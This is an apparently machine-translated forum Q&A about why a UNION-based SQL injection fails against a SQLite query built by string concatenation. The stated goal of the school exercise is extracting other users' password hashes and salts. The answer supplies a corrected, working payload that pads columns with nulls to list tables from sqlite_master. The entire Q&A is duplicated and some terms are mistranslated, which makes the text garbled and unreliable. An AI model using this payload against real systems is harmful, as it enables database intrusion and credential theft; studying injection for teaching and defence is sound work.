为什么这种 sql 注入攻击不起作用?
Why doesnt this sql injection attack work?
对于学校,我们需要获取所有其他用户以及哈希和盐。为此,我需要知道存储所有这些信息的 table 名称,我想用 sqlite_master 来获取它。这是查询部分:
var sql_query = 'SELECT id , name , color , planttype , potsize , shared FROM
plants WHERE user_id = ' + req . user . get ( 'id ') + ' AND name LIKE "% ' + **plant**
+ '%"; ';
输入行是工厂变量。我试过了
%" OR username = 1 OR 1 = 1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'; --
但由于某些原因它不起作用。
问题是两个联合查询必须 return 相同的列数(具有相同的数据类型)。
您的查询不是这种情况,第一个查询 returns 6 列,第二个只有一个。
我认为您可以使用以下输入:
%" OR 1 = 1 UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master
WHERE type='table'; --
这会产生类似
的查询
SELECT id, name, color, planttype, potsize, shared
FROM plants
WHERE user_id = ? AND name LIKE "%%" OR 1 = 1
UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master WHERE type='table'
-- %"
对于学校,我们需要获取所有其他用户以及哈希和盐。为此,我需要知道存储所有这些信息的 table 名称,我想用 sqlite_master 来获取它。这是查询部分:
var sql_query = 'SELECT id , name , color , planttype , potsize , shared FROM
plants WHERE user_id = ' + req . user . get ( 'id ') + ' AND name LIKE "% ' + **plant**
+ '%"; ';
输入行是工厂变量。我试过了
%" OR username = 1 OR 1 = 1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'; --
但由于某些原因它不起作用。
问题是两个联合查询必须 return 相同的列数(具有相同的数据类型)。
您的查询不是这种情况,第一个查询 returns 6 列,第二个只有一个。
我认为您可以使用以下输入:
%" OR 1 = 1 UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master
WHERE type='table'; --
这会产生类似
的查询SELECT id, name, color, planttype, potsize, shared
FROM plants
WHERE user_id = ? AND name LIKE "%%" OR 1 = 1
UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master WHERE type='table'
-- %"